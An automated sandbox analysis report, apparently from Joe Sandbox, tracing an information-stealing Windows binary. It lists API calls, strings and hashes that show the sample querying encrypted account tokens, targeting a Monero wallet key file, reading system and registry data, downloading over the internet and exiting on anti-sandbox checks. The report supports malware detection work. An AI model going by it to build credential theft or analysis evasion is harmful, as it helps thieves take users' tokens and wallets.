AccountTokens, xrefs: 006CBB49
AccountId, xrefs: 006CBCC4

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 3e98573d5969607d91ba9fb0b1ade1f46c944d267cc5b31d6074a9667468dc0f
Instruction ID: 2eea68ff5119b4025ce38c91df1bacb35c95f8253146a0039ed90ff522f8f427
Opcode Fuzzy Hash: 3e98573d5969607d91ba9fb0b1ade1f46c944d267cc5b31d6074a9667468dc0f
Instruction Fuzzy Hash: DEB14071D142489BDB44EBE0CC96EEE733AAF54300F40415EF506A6291EF346A49DBAA

Function 006C4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 006C4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 006C4FD1
InternetOpenA.WININET(006E0DDF,00000000,00000000,00000000,00000000), ref: 006C4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 006C5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 006C5041
InternetCloseHandle.WININET(?), ref: 006C50B9
InternetCloseHandle.WININET(?), ref: 006C50C6

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 775b12fce584bf072a030ad197a7a69b6b8c24a8efa97b497e1f85bbb421e37b
Instruction ID: dbf055c31f2497626ec848d768f570842fadd43ad8acb5d8e4a6f19f9e424d75
Opcode Fuzzy Hash: 775b12fce584bf072a030ad197a7a69b6b8c24a8efa97b497e1f85bbb421e37b
Instruction Fuzzy Hash: 3F3103B4E04218EBDB20CF54DC85BDCB7B5EB48704F1081D9EA09A7281DB746AC59F99

Function 006D83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 006D8426
wsprintfA.USER32 ref: 006D8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 006D847B
RegCloseKey.ADVAPI32(00000000), ref: 006D848C
RegCloseKey.ADVAPI32(00000000), ref: 006D8499

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

RegQueryValueExA.KERNEL32(00000000,013ED9B0,00000000,000F003F,?,00000400), ref: 006D84EC
lstrlen.KERNEL32(?), ref: 006D8501
RegQueryValueExA.KERNEL32(00000000,013EDA70,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,006E0B34), ref: 006D8599
RegCloseKey.KERNEL32(00000000), ref: 006D8608
RegCloseKey.ADVAPI32(00000000), ref: 006D861A

Strings

%s\%s, xrefs: 006D844D

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 73dc5b9c9aba1b0d1efaf2d2a41eb318b8fa74d041c52fe1efba4bd967c96221
Instruction ID: f1ae983a154361cd09ee01b2a18aa417e9a3563082d20d1c618bfa4ca2de246b
Opcode Fuzzy Hash: 73dc5b9c9aba1b0d1efaf2d2a41eb318b8fa74d041c52fe1efba4bd967c96221
Instruction Fuzzy Hash: BF210771914218AFDB24DB54DC85FE9B3B9FB48700F00C1D9A609A6240DF71AA85CFD4

Function 006D7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006D76A4
RtlAllocateHeap.NTDLL(00000000), ref: 006D76AB
RegOpenKeyExA.KERNEL32(80000002,013DB888,00000000,00020119,00000000), ref: 006D76DD
RegQueryValueExA.KERNEL32(00000000,013EDAD0,00000000,00000000,?,000000FF), ref: 006D76FE
RegCloseKey.ADVAPI32(00000000), ref: 006D7708

Strings

Windows 11, xrefs: 006D76BD

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: c91b7bac16451b5fc8fb1d47ba6bce6867cc49806a8c0c18bf038dadef16fd3d
Instruction ID: 5eb301149c5fe01f7ea6be745bfdb6cf97ad8ff056b235bf0dbb031f82f0eb6e
Opcode Fuzzy Hash: c91b7bac16451b5fc8fb1d47ba6bce6867cc49806a8c0c18bf038dadef16fd3d
Instruction Fuzzy Hash: 9A0162B5E18304BFEB00DBE5DC49FAEB7B9EB48701F108455FE04D7291E67499009B92

Function 006D7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006D7734
RtlAllocateHeap.NTDLL(00000000), ref: 006D773B
RegOpenKeyExA.KERNEL32(80000002,013DB888,00000000,00020119,006D76B9), ref: 006D775B
RegQueryValueExA.KERNEL32(006D76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 006D777A
RegCloseKey.ADVAPI32(006D76B9), ref: 006D7784

Strings

CurrentBuildNumber, xrefs: 006D7771

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: f7cc1d069a4d67d0e579e8016444c4de39603aa013df480a07d542d027e2e84f
Instruction ID: 43f5a0f17c374795891966a0c1bff2c991b089f09ce16b25112a1f6aee462618
Opcode Fuzzy Hash: f7cc1d069a4d67d0e579e8016444c4de39603aa013df480a07d542d027e2e84f
Instruction Fuzzy Hash: 3B0167B5E54308BFD700DBE4DC49FAEB7B8EB48700F108559FA05A7281D67055009B92

Function 006D69F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 006D9860: GetProcAddress.KERNEL32(75900000,013E07E0), ref: 006D98A1
Part of subcall function 006D9860: GetProcAddress.KERNEL32(75900000,013E0690), ref: 006D98BA
Part of subcall function 006D9860: GetProcAddress.KERNEL32(75900000,013E06D8), ref: 006D98D2
Part of subcall function 006D9860: GetProcAddress.KERNEL32(75900000,013E05D0), ref: 006D98EA
Part of subcall function 006D9860: GetProcAddress.KERNEL32(75900000,013E0708), ref: 006D9903
Part of subcall function 006D9860: GetProcAddress.KERNEL32(75900000,013E8960), ref: 006D991B
Part of subcall function 006D9860: GetProcAddress.KERNEL32(75900000,013D62C0), ref: 006D9933
Part of subcall function 006D9860: GetProcAddress.KERNEL32(75900000,013D6300), ref: 006D994C
Part of subcall function 006D9860: GetProcAddress.KERNEL32(75900000,013E0720), ref: 006D9964
Part of subcall function 006D9860: GetProcAddress.KERNEL32(75900000,013E0768), ref: 006D997C
Part of subcall function 006D9860: GetProcAddress.KERNEL32(75900000,013E0780), ref: 006D9995
Part of subcall function 006D9860: GetProcAddress.KERNEL32(75900000,013E0810), ref: 006D99AD
Part of subcall function 006D9860: GetProcAddress.KERNEL32(75900000,013D63A0), ref: 006D99C5
Part of subcall function 006D9860: GetProcAddress.KERNEL32(75900000,013E0798), ref: 006D99DE

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006C11D0: ExitProcess.KERNEL32 ref: 006C1211

Part of subcall function 006C1160: GetSystemInfo.KERNEL32(?), ref: 006C116A
Part of subcall function 006C1160: ExitProcess.KERNEL32 ref: 006C117E

Part of subcall function 006C1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 006C112B
Part of subcall function 006C1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 006C1132
Part of subcall function 006C1110: ExitProcess.KERNEL32 ref: 006C1143

Part of subcall function 006C1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 006C123E
Part of subcall function 006C1220: __aulldiv.LIBCMT ref: 006C1258
Part of subcall function 006C1220: __aulldiv.LIBCMT ref: 006C1266
Part of subcall function 006C1220: ExitProcess.KERNEL32 ref: 006C1294

Part of subcall function 006D6770: GetUserDefaultLangID.KERNEL32 ref: 006D6774

Part of subcall function 006C1190: ExitProcess.KERNEL32 ref: 006C11C6

Part of subcall function 006D7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006C11B7), ref: 006D7880
Part of subcall function 006D7850: RtlAllocateHeap.NTDLL(00000000), ref: 006D7887
Part of subcall function 006D7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 006D789F

Part of subcall function 006D78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006D7910
Part of subcall function 006D78E0: RtlAllocateHeap.NTDLL(00000000), ref: 006D7917
Part of subcall function 006D78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 006D792F

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013E8840,?,006E110C,?,00000000,?,006E1110,?,00000000,006E0AEF), ref: 006D6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 006D6AE8
CloseHandle.KERNEL32(00000000), ref: 006D6AF9
Sleep.KERNEL32(00001770), ref: 006D6B04
CloseHandle.KERNEL32(?,00000000,?,013E8840,?,006E110C,?,00000000,?,006E1110,?,00000000,006E0AEF), ref: 006D6B1A
ExitProcess.KERNEL32 ref: 006D6B22

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 86b8e179585cdc5550cdf9fac03800632c22e0be4386986ea6db13c3514b14a8
Instruction ID: f8e125e5a45b753ae6a867c52e32c5fdbccf28428eae907dec2db020d2add862
Opcode Fuzzy Hash: 86b8e179585cdc5550cdf9fac03800632c22e0be4386986ea6db13c3514b14a8
Instruction Fuzzy Hash: 59313E70D18208AADB44FBF0DC56FFE773AAF05300F14451EF602A6292EF745905D6AA

Function 006C99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006C99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 006C9A11
LocalAlloc.KERNEL32(00000040,?), ref: 006C9A31
ReadFile.KERNEL32(000000FF,?,00000000,006C148F,00000000), ref: 006C9A5A
LocalFree.KERNEL32(006C148F), ref: 006C9A90
CloseHandle.KERNEL32(000000FF), ref: 006C9A9A

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
